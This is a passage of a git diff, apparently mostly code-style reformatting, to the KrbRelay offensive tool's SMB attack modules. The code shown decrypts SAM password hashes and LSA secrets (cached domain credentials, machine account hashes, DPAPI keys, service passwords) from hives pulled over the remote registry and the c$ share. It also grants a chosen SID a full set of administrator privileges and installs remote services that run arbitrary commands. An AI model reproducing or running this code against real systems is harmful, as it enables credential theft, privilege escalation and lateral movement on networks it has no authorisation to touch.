Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0") + ); data.AddRange(bootKey); - data.AddRange(Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0")); + data.AddRange( + Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0") + ); byte[] md5 = MD5.Create().ComputeHash(data.ToArray()); byte[] f80 = fVal.Skip(128).Take(32).ToArray(); hashedBootKey = Crypto.RC4Encrypt(md5, f80); } - //new version of storage -- Win 2016 / Win 10 (potentially Win 2012) and above else if (domainData[0].Equals(0x02)) { @@ -79,10 +100,7 @@ private static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal) public static List ParseSam(byte[] bootKey, RegistryHive sam) { - List retVal = new List - { - "[*] SAM hashes" - }; + List retVal = new List { "[*] SAM hashes" }; try { NodeKey nk = GetNodeKey(sam, @"SAM\Domains\Account"); @@ -93,11 +111,15 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) byte[] almpassword = Encoding.ASCII.GetBytes("LMPASSWORD\0"); foreach (NodeKey user in targetNode.ChildNodes.Where(x => x.Name.Contains("00000"))) { - byte[] rid = BitConverter.GetBytes(System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber)); + byte[] rid = BitConverter.GetBytes( + System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber) + ); byte[] v = user.getChildValues("V"); int offset = BitConverter.ToInt32(v, 12) + 204; int length = BitConverter.ToInt32(v, 16); - string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray()); + string username = Encoding.Unicode.GetString( + v.Skip(offset).Take(length).ToArray() + ); //there are 204 bytes of headers / flags prior to data in the encrypted key data structure int lmHashOffset = BitConverter.ToInt32(v, 156) + 204; @@ -110,9 +132,17 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) //old style hashes if (v[ntHashOffset + 2].Equals(0x01)) { - IEnumerable lmKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword); + IEnumerable lmKeyParts = hashedBootKey + .Take(16) + .ToArray() + .Concat(rid) + .Concat(almpassword); byte[] lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray()); - IEnumerable ntKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword); + IEnumerable ntKeyParts = hashedBootKey + .Take(16) + .ToArray() + .Concat(rid) + .Concat(antpassword); byte[] ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray()); byte[] encryptedLmHash = null; byte[] encryptedNtHash = null; @@ -120,14 +150,24 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) if (ntHashLength == 20) { encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray(); - byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash); - ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, user.Name).Replace("-", ""); + byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt( + ntHashDecryptionKey, + encryptedNtHash + ); + ntHash = Crypto + .DecryptSingleHash(obfuscatedNtHashTESTING, user.Name) + .Replace("-", ""); } if (lmHashLength == 20) { encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray(); - byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash); - lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, user.Name).Replace("-", ""); + byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt( + lmHashDecryptionKey, + encryptedLmHash + ); + lmHash = Crypto + .DecryptSingleHash(obfuscatedLmHashTESTING, user.Name) + .Replace("-", ""); } } //new-style hashes @@ -139,8 +179,17 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) if (lmData.Length > 0) { byte[] lmHashSalt = enc_LM_Hash.Skip(8).Take(16).ToArray(); - byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray(); - lmHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", ""); + byte[] desEncryptedHash = Crypto + .DecryptAES_CBC( + lmData, + hashedBootKey.Take(16).ToArray(), + lmHashSalt + ) + .Take(16) + .ToArray(); + lmHash = Crypto + .DecryptSingleHash(desEncryptedHash, user.Name) + .Replace("-", ""); } byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray(); @@ -149,11 +198,22 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) if (ntData.Length > 0) { byte[] ntHashSalt = enc_NT_Hash.Skip(8).Take(16).ToArray(); - byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray(); - ntHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", ""); + byte[] desEncryptedHash = Crypto + .DecryptAES_CBC( + ntData, + hashedBootKey.Take(16).ToArray(), + ntHashSalt + ) + .Take(16) + .ToArray(); + ntHash = Crypto + .DecryptSingleHash(desEncryptedHash, user.Name) + .Replace("-", ""); } } - string ridStr = System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber).ToString(); + string ridStr = System.Int32 + .Parse(user.Name, System.Globalization.NumberStyles.HexNumber) + .ToString(); string hashes = (lmHash + ":" + ntHash); retVal.Add(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower())); } @@ -165,7 +225,11 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam) return retVal; } - public static List ParseLsa(RegistryHive security, byte[] bootKey, RegistryHive system) + public static List ParseLsa( + RegistryHive security, + byte[] bootKey, + RegistryHive system + ) { List retVal = new List(); try @@ -175,7 +239,11 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis byte[] dataVal = record.data.Take(32).ToArray(); byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal); byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray(); - byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray(); + byte[] decryptedLsaKey = Crypto + .DecryptAES_ECB(dataVal2, tempKey) + .Skip(68) + .Take(32) + .ToArray(); //get NLKM Secret byte[] nlkmKey = null; @@ -186,15 +254,45 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis nlkmKey = DumpSecret(nlkm, decryptedLsaKey); foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues) { - if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray())) + if ( + string.Compare( + cachedLogin.Name, + "NL$Control", + StringComparison.OrdinalIgnoreCase + ) != 0 + && !IsZeroes(cachedLogin.Data.Take(16).ToArray()) + ) { NL_Record cachedUser = new NL_Record(cachedLogin.Data); - byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV); + byte[] plaintext = Crypto.DecryptAES_CBC( + cachedUser.encryptedData, + nlkmKey.Skip(16).Take(16).ToArray(), + cachedUser.IV + ); byte[] hashedPW = plaintext.Take(16).ToArray(); - string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray()); - string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray()); + string username = Encoding.Unicode.GetString( + plaintext.Skip(72).Take(cachedUser.userLength).ToArray() + ); + string domain = Encoding.Unicode.GetString( + plaintext + .Skip( + 72 + + Pad(cachedUser.userLength) + + Pad(cachedUser.domainNameLength) + ) + .Take(Pad(cachedUser.dnsDomainLength)) + .ToArray() + ); domain = domain.Replace("\0", ""); - retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower())); + retVal.Add( + string.Format( + "{0}/{1}:$DCC2$10240#{2}#{3}", + domain, + username, + username, + BitConverter.ToString(hashedPW).Replace("-", "").ToLower() + ) + ); } } } @@ -204,11 +302,25 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis retVal.Add("[*] LSA Secrets"); foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes) { - if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0) + if ( + string.Compare( + secret.Name, + "NL$Control", + StringComparison.OrdinalIgnoreCase + ) != 0 + ) { - if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0) + if ( + string.Compare( + secret.Name, + "NL$KM", + StringComparison.OrdinalIgnoreCase + ) != 0 + ) { - LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey)); + LsaSecretBlob secretBlob = new LsaSecretBlob( + DumpSecret(secret, decryptedLsaKey) + ); if (secretBlob.length > 0) { retVal.Add(PrintSecret(secret.Name, secretBlob, system)); @@ -261,39 +373,83 @@ private static bool IsZeroes(byte[] inputArray) return true; } - private static string PrintSecret(string keyName, LsaSecretBlob secretBlob, RegistryHive system) + private static string PrintSecret( + string keyName, + LsaSecretBlob secretBlob, + RegistryHive system + ) { string secretOutput = string.Format("[*] {0}\r\n", keyName); if (keyName.ToUpper().StartsWith("_SC_")) { - ValueKey startName = GetValueKey(system, string.Format(@"ControlSet001\Services\{0}\ObjectName", keyName.Substring(4))); + ValueKey startName = GetValueKey( + system, + string.Format(@"ControlSet001\Services\{0}\ObjectName", keyName.Substring(4)) + ); string pw = Encoding.Unicode.GetString(secretBlob.secret.ToArray()); - secretOutput += string.Format("{0}:{1}", Encoding.UTF8.GetString(startName.Data), pw); + secretOutput += string.Format( + "{0}:{1}", + Encoding.UTF8.GetString(startName.Data), + pw + ); } else if (keyName.ToUpper().StartsWith("$MACHINE.ACC")) { - string computerAcctHash = BitConverter.ToString(Crypto.Md4Hash2(secretBlob.secret)).Replace("-", "").ToLower(); - ValueKey domainName = GetValueKey(system, @"ControlSet001\Services\Tcpip\Parameters\Domain"); - ValueKey computerName = GetValueKey(system, @"ControlSet001\Services\Tcpip\Parameters\Hostname"); - secretOutput += string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", Encoding.UTF8.GetString(domainName.Data), Encoding.UTF8.GetString(computerName.Data), computerAcctHash); + string computerAcctHash = BitConverter + .ToString(Crypto.Md4Hash2(secretBlob.secret)) + .Replace("-", "") + .ToLower(); + ValueKey domainName = GetValueKey( + system, + @"ControlSet001\Services\Tcpip\Parameters\Domain" + ); + ValueKey computerName = GetValueKey( + system, + @"ControlSet001\Services\Tcpip\Parameters\Hostname" + ); + secretOutput += string.Format( + "{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", + Encoding.UTF8.GetString(domainName.Data), + Encoding.UTF8.GetString(computerName.Data), + computerAcctHash + ); } else if (keyName.ToUpper().StartsWith("DPAPI")) { - secretOutput += ("dpapi_machinekey:" + BitConverter.ToString(secretBlob.secret.Skip(4).Take(20).ToArray()).Replace("-", "").ToLower() + "\r\n"); - secretOutput += ("dpapi_userkey:" + BitConverter.ToString(secretBlob.secret.Skip(24).Take(20).ToArray()).Replace("-", "").ToLower()); + secretOutput += ( + "dpapi_machinekey:" + + BitConverter + .ToString(secretBlob.secret.Skip(4).Take(20).ToArray()) + .Replace("-", "") + .ToLower() + + "\r\n" + ); + secretOutput += ( + "dpapi_userkey:" + + BitConverter + .ToString(secretBlob.secret.Skip(24).Take(20).ToArray()) + .Replace("-", "") + .ToLower() + ); } else if (keyName.ToUpper().StartsWith("NL$KM")) { - secretOutput += ("NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower()); + secretOutput += ( + "NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower() + ); } else if (keyName.ToUpper().StartsWith("ASPNET_WP_PASSWORD")) { - secretOutput += ("ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret)); + secretOutput += ( + "ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret) + ); } else { - secretOutput += ("[!] Secret type not supported yet - outputing raw secret as unicode:\r\n"); + secretOutput += ( + "[!] Secret type not supported yet - outputing raw secret as unicode:\r\n" + ); secretOutput += (System.Text.Encoding.Unicode.GetString(secretBlob.secret)); } return secretOutput; @@ -349,4 +505,4 @@ public static ValueKey GetValueKey(RegistryHive hive, string path) return node.ChildValues.SingleOrDefault(v => v.Name == keyname); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs index 06655f2..75ec2be 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs @@ -38,4 +38,4 @@ public RegistryHive(BinaryReader reader) public NodeKey RootKey { get; set; } public bool WasExported { get; set; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs index 1ed7daf..f66a8bd 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs @@ -22,7 +22,8 @@ public ValueKey(BinaryReader hive) hive.BaseStream.Position += 4; buf = hive.ReadBytes(this.NameLength); - this.Name = (this.NameLength == 0) ? "Default" : System.Text.Encoding.UTF8.GetString(buf); + this.Name = + (this.NameLength == 0) ? "Default" : System.Text.Encoding.UTF8.GetString(buf); if (this.DataLength < 5) this.Data = databuf; @@ -41,4 +42,4 @@ public ValueKey(BinaryReader hive) public byte[] Data { get; set; } public string String { get; set; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/LSA.cs b/KrbRelay/Clients/Attacks/Smb/LSA.cs index c64f93e..e11470a 100644 --- a/KrbRelay/Clients/Attacks/Smb/LSA.cs +++ b/KrbRelay/Clients/Attacks/Smb/LSA.cs @@ -10,7 +10,14 @@ internal class LSA { public static void AddAccountRights(SMB2Client smbClient, string sid) { - using (RPCCallHelper rpc = new RPCCallHelper(smbClient, LsaRemoteService.ServicePipeName, LsaRemoteService.ServiceInterfaceGuid, LsaRemoteService.ServiceVersion)) + using ( + RPCCallHelper rpc = new RPCCallHelper( + smbClient, + LsaRemoteService.ServicePipeName, + LsaRemoteService.ServiceInterfaceGuid, + LsaRemoteService.ServiceVersion + ) + ) { var status = rpc.BindPipe(); if (status != NTStatus.STATUS_SUCCESS) @@ -19,42 +26,52 @@ public static void AddAccountRights(SMB2Client smbClient, string sid) return; } - LsaHandle lsaHandle = LsaServiceHelper.LsaOpenPolicy(rpc, AccessMask.MAXIMUM_ALLOWED, out status); + LsaHandle lsaHandle = LsaServiceHelper.LsaOpenPolicy( + rpc, + AccessMask.MAXIMUM_ALLOWED, + out status + ); Console.WriteLine("LsaOpenPolicy: {0}", status); - string[] adminGroup = new string[] { - "SeSecurityPrivilege", - "SeBackupPrivilege", - "SeRestorePrivilege", - "SeSystemtimePrivilege", - "SeShutdownPrivilege", - "SeRemoteShutdownPrivilege", - "SeTakeOwnershipPrivilege", - "SeDebugPrivilege", - "SeSystemEnvironmentPrivilege", - "SeSystemProfilePrivilege", - "SeProfileSingleProcessPrivilege", - "SeIncreaseBasePriorityPrivilege", - "SeLoadDriverPrivilege", - "SeCreatePagefilePrivilege", - "SeIncreaseQuotaPrivilege", - "SeUndockPrivilege", - "SeManageVolumePrivilege", - "SeImpersonatePrivilege", - "SeCreateGlobalPrivilege", - "SeTimeZonePrivilege", - "SeCreateSymbolicLinkPrivilege", - "SeChangeNotifyPrivilege", - "SeDelegateSessionUserImpersonatePrivilege", - "SeInteractiveLogonRight", - "SeNetworkLogonRight", - "SeBatchLogonRight", - "SeRemoteInteractiveLogonRight" - }; - status = LsaServiceHelper.AddAccountRights(rpc, lsaHandle, SIDHelper.CreateFromString(sid), adminGroup); + string[] adminGroup = new string[] + { + "SeSecurityPrivilege", + "SeBackupPrivilege", + "SeRestorePrivilege", + "SeSystemtimePrivilege", + "SeShutdownPrivilege", + "SeRemoteShutdownPrivilege", + "SeTakeOwnershipPrivilege", + "SeDebugPrivilege", + "SeSystemEnvironmentPrivilege", + "SeSystemProfilePrivilege", + "SeProfileSingleProcessPrivilege", + "SeIncreaseBasePriorityPrivilege", + "SeLoadDriverPrivilege", + "SeCreatePagefilePrivilege", + "SeIncreaseQuotaPrivilege", + "SeUndockPrivilege", + "SeManageVolumePrivilege", + "SeImpersonatePrivilege", + "SeCreateGlobalPrivilege", + "SeTimeZonePrivilege", + "SeCreateSymbolicLinkPrivilege", + "SeChangeNotifyPrivilege", + "SeDelegateSessionUserImpersonatePrivilege", + "SeInteractiveLogonRight", + "SeNetworkLogonRight", + "SeBatchLogonRight", + "SeRemoteInteractiveLogonRight" + }; + status = LsaServiceHelper.AddAccountRights( + rpc, + lsaHandle, + SIDHelper.CreateFromString(sid), + adminGroup + ); Console.WriteLine("LsarAddAccountRights: {0}", status); LsaServiceHelper.LsaClose(rpc, lsaHandle, out status); } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs b/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs index d24a1f8..e5b8b36 100644 --- a/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs +++ b/KrbRelay/Clients/Attacks/Smb/RemoteRegistry.cs @@ -17,7 +17,14 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false) Console.WriteLine("[-] Could not start remoteregistry"); return; } - using (RPCCallHelper rpc = new RPCCallHelper(smbClient, RrpService.ServicePipeName, RrpService.ServiceInterfaceGuid, RrpService.ServiceVersion)) + using ( + RPCCallHelper rpc = new RPCCallHelper( + smbClient, + RrpService.ServicePipeName, + RrpService.ServiceInterfaceGuid, + RrpService.ServiceVersion + ) + ) { var status = rpc.BindPipe(); if (status != NTStatus.STATUS_SUCCESS) @@ -43,20 +50,43 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false) StringBuilder scrambledKey = new StringBuilder(); foreach (var key in new string[] { "JD", "Skew1", "GBG", "Data" }) //, { - var hBootKey = RrpServiceHelper.BaseRegOpenKey(rpc, hKey, $"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}\x00", out status); + var hBootKey = RrpServiceHelper.BaseRegOpenKey( + rpc, + hKey, + $"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}\x00", + out status + ); var v = RrpServiceHelper.baseRegQueryInfoKey(rpc, hBootKey, out status); scrambledKey.Append(v.lpClassOut.Value); RrpServiceHelper.BaseRegCloseKey(rpc, hBootKey, out status); } RrpServiceHelper.BaseRegCloseKey(rpc, hKey, out status); - byte[] scrambled = Helpers.StringToByteArray(scrambledKey.ToString()); - byte[] transforms = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 }; + byte[] scrambled = Helpers.HexToByteArray(scrambledKey.ToString()); + byte[] transforms = new byte[] + { + 0x8, + 0x5, + 0x4, + 0x2, + 0xb, + 0x9, + 0xd, + 0x3, + 0x0, + 0x6, + 0x1, + 0xc, + 0xe, + 0xa, + 0xf, + 0x7 + }; byte[] bootKey = new byte[16]; for (int i = 0; i < 16; i++) { bootKey[i] = scrambled[transforms[i]]; } - Console.WriteLine("[*] Bootkey: {0}", Helpers.ByteArrayToString(bootKey)); + Console.WriteLine("[*] Bootkey: {0}", Helpers.ByteArrayToHex(bootKey)); Shares.copyFile(smbClient, "windows\\temp\\sam.tmp", true, out byte[] bsam); Shares.copyFile(smbClient, "windows\\temp\\sec.tmp", true, out byte[] bsec); @@ -83,4 +113,4 @@ public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false) } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs b/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs index 89a8c30..2f9332b 100644 --- a/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs +++ b/KrbRelay/Clients/Attacks/Smb/ServiceManager.cs @@ -10,7 +10,14 @@ internal class ServiceManager { public static bool startService(SMB2Client smbClient, string serviceName) { - using (RPCCallHelper rpc = new RPCCallHelper(smbClient, ScmrService.ServicePipeName, ScmrService.ServiceInterfaceGuid, ScmrService.ServiceVersion)) + using ( + RPCCallHelper rpc = new RPCCallHelper( + smbClient, + ScmrService.ServicePipeName, + ScmrService.ServiceInterfaceGuid, + ScmrService.ServiceVersion + ) + ) { var status = rpc.BindPipe(); if (status != NTStatus.STATUS_SUCCESS) @@ -25,7 +32,12 @@ public static bool startService(SMB2Client smbClient, string serviceName) Console.WriteLine("[-] Could open SCMR handle"); return false; } - var serviceHandle = ScmrServiceHelper.rOpenServiceW(rpc, lpScHandle, serviceName, out status); + var serviceHandle = ScmrServiceHelper.rOpenServiceW( + rpc, + lpScHandle, + serviceName, + out status + ); if (status != NTStatus.STATUS_SUCCESS) { ScmrServiceHelper.rCloseServiceHandle(rpc, lpScHandle, out var temp); @@ -56,7 +68,14 @@ public static bool startService(SMB2Client smbClient, string serviceName) public static void serviceInstall(SMB2Client smb2, string serviceName, string cmd) { - using (RPCCallHelper rpc = new RPCCallHelper(smb2, ScmrService.ServicePipeName, ScmrService.ServiceInterfaceGuid, ScmrService.ServiceVersion)) + using ( + RPCCallHelper rpc = new RPCCallHelper( + smb2, + ScmrService.ServicePipeName, + ScmrService.ServiceInterfaceGuid, + ScmrService.ServiceVersion + ) + ) { var status = rpc.BindPipe(); if (status != NTStatus.STATUS_SUCCESS) @@ -70,7 +89,13 @@ public static void serviceInstall(SMB2Client smb2, string serviceName, string cm Console.WriteLine("[-] Failed to open SCMR handle: {0}", status); return; } - var newHandle = ScmrServiceHelper.rCreateServiceW(rpc, lpScHandle, $"{serviceName}\x00", cmd, out status); + var newHandle = ScmrServiceHelper.rCreateServiceW( + rpc, + lpScHandle, + $"{serviceName}\x00", + cmd, + out status + ); if (status != NTStatus.STATUS_SUCCESS) { Console.WriteLine("[-] Failed to create service: {0}", status); @@ -93,4 +118,4 @@ public static void serviceInstall(SMB2Client smb2, string serviceName, string cm } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/Shares.cs b/KrbRelay/Clients/Attacks/Smb/Shares.cs index 4bd2049..7ed906e 100644 --- a/KrbRelay/Clients/Attacks/Smb/Shares.cs +++ b/KrbRelay/Clients/Attacks/Smb/Shares.cs @@ -14,11 +14,26 @@ public static void listDir(ISMBFileStore fileStore, string path = "") { object directoryHandle; FileStatus fileStatus; - var status = fileStore.CreateFile(out directoryHandle, out fileStatus, path, AccessMask.GENERIC_READ, SMBLibrary.FileAttributes.Directory, ShareAccess.Read | ShareAccess.Write, CreateDisposition.FILE_OPEN, CreateOptions.FILE_DIRECTORY_FILE, null); + var status = fileStore.CreateFile( + out directoryHandle, + out fileStatus, + path, + AccessMask.GENERIC_READ, + SMBLibrary.FileAttributes.Directory, + ShareAccess.Read | ShareAccess.Write, + CreateDisposition.FILE_OPEN, + CreateOptions.FILE_DIRECTORY_FILE, + null + ); if (status == NTStatus.STATUS_SUCCESS) { List queryDirectoryFileInformation; - status = fileStore.QueryDirectory(out queryDirectoryFileInformation, directoryHandle, "*", FileInformationClass.FileDirectoryInformation); + status = fileStore.QueryDirectory( + out queryDirectoryFileInformation, + directoryHandle, + "*", + FileInformationClass.FileDirectoryInformation + ); status = fileStore.CloseFile(directoryHandle); Console.WriteLine("Mode LastAccessTime Length Name"); Console.WriteLine("---- ------------- ------ ----"); @@ -26,14 +41,22 @@ public static void listDir(ISMBFileStore fileStore, string path = "") { if (file.FileInformationClass == FileInformationClass.FileDirectoryInformation) { - FileDirectoryInformation fileDirectoryInformation = (FileDirectoryInformation)file; + FileDirectoryInformation fileDirectoryInformation = + (FileDirectoryInformation)file; - if (fileDirectoryInformation.FileName == "." || fileDirectoryInformation.FileName == "..") + if ( + fileDirectoryInformation.FileName == "." + || fileDirectoryInformation.FileName == ".." + ) { continue; } string mode = ""; - if (fileDirectoryInformation.FileAttributes.HasFlag(SMBLibrary.FileAttributes.Directory)) + if ( + fileDirectoryInformation.FileAttributes.HasFlag( + SMBLibrary.FileAttributes.Directory + ) + ) { mode = "d-----"; } @@ -41,17 +64,40 @@ public static void listDir(ISMBFileStore fileStore, string path = "") { mode = "-a----"; } - Console.WriteLine(String.Format("{0} {1,22} {2, -5} {3}", mode, fileDirectoryInformation.LastAccessTime, (fileDirectoryInformation.AllocationSize / 1024), fileDirectoryInformation.FileName)); + Console.WriteLine( + String.Format( + "{0} {1,22} {2, -5} {3}", + mode, + fileDirectoryInformation.LastAccessTime, + (fileDirectoryInformation.AllocationSize / 1024), + fileDirectoryInformation.FileName + ) + ); } } } } - public static bool readFile(SMB2Client smbClient, ISMBFileStore fileStore, string path, out byte[] content) + public static bool readFile( + SMB2Client smbClient, + ISMBFileStore fileStore, + string path, + out byte[] content + ) { object fileHandle; FileStatus fileStatus; - var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_READ | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.Read, CreateDisposition.FILE_OPEN, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null); + var status = fileStore.CreateFile( + out fileHandle, + out fileStatus, + path, + AccessMask.GENERIC_READ | AccessMask.SYNCHRONIZE, + SMBLibrary.FileAttributes.Normal, + ShareAccess.Read, + CreateDisposition.FILE_OPEN, + CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, + null + ); if (status == NTStatus.STATUS_SUCCESS) { using (System.IO.MemoryStream stream = new System.IO.MemoryStream()) @@ -60,8 +106,16 @@ public static bool readFile(SMB2Client smbClient, ISMBFileStore fileStore, strin long bytesRead = 0; while (true) { - status = fileStore.ReadFile(out data, fileHandle, bytesRead, (int)smbClient.MaxReadSize); - if (status != NTStatus.STATUS_SUCCESS && status != NTStatus.STATUS_END_OF_FILE) + status = fileStore.ReadFile( + out data, + fileHandle, + bytesRead, + (int)smbClient.MaxReadSize + ); + if ( + status != NTStatus.STATUS_SUCCESS + && status != NTStatus.STATUS_END_OF_FILE + ) { throw new Exception("Failed to read from file"); } @@ -85,11 +139,22 @@ public static bool deleteFile(ISMBFileStore fileStore, string path) { object fileHandle; FileStatus fileStatus; - var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_WRITE | AccessMask.DELETE | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.None, CreateDisposition.FILE_OPEN, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null); + var status = fileStore.CreateFile( + out fileHandle, + out fileStatus, + path, + AccessMask.GENERIC_WRITE | AccessMask.DELETE | AccessMask.SYNCHRONIZE, + SMBLibrary.FileAttributes.Normal, + ShareAccess.None, + CreateDisposition.FILE_OPEN, + CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, + null + ); if (status == NTStatus.STATUS_SUCCESS) { - FileDispositionInformation fileDispositionInformation = new FileDispositionInformation(); + FileDispositionInformation fileDispositionInformation = + new FileDispositionInformation(); fileDispositionInformation.DeletePending = true; status = fileStore.SetFileInformation(fileHandle, fileDispositionInformation); bool deleteSucceeded = (status == NTStatus.STATUS_SUCCESS); @@ -99,11 +164,26 @@ public static bool deleteFile(ISMBFileStore fileStore, string path) return false; } - public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, string path, byte[] content) + public static bool writeFile( + SMB2Client smbClient, + ISMBFileStore fileStore, + string path, + byte[] content + ) { object fileHandle; FileStatus fileStatus; - var status = fileStore.CreateFile(out fileHandle, out fileStatus, path, AccessMask.GENERIC_WRITE | AccessMask.SYNCHRONIZE, SMBLibrary.FileAttributes.Normal, ShareAccess.None, CreateDisposition.FILE_CREATE, CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, null); + var status = fileStore.CreateFile( + out fileHandle, + out fileStatus, + path, + AccessMask.GENERIC_WRITE | AccessMask.SYNCHRONIZE, + SMBLibrary.FileAttributes.Normal, + ShareAccess.None, + CreateDisposition.FILE_CREATE, + CreateOptions.FILE_NON_DIRECTORY_FILE | CreateOptions.FILE_SYNCHRONOUS_IO_ALERT, + null + ); if (status == NTStatus.STATUS_SUCCESS) { int writeOffset = 0; @@ -118,7 +198,12 @@ public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, stri Array.Resize(ref buffer, bytesRead); } int numberOfBytesWritten; - status = fileStore.WriteFile(out numberOfBytesWritten, fileHandle, writeOffset, buffer); + status = fileStore.WriteFile( + out numberOfBytesWritten, + fileHandle, + writeOffset, + buffer + ); if (status != NTStatus.STATUS_SUCCESS) { throw new Exception("Failed to write to file"); @@ -132,7 +217,13 @@ public static bool writeFile(SMB2Client smbClient, ISMBFileStore fileStore, stri return false; } - public static bool copyFile(SMB2Client smbClient, string path, bool delete, out byte[] content, string share = "c$") + public static bool copyFile( + SMB2Client smbClient, + string path, + bool delete, + out byte[] content, + string share = "c$" + ) { 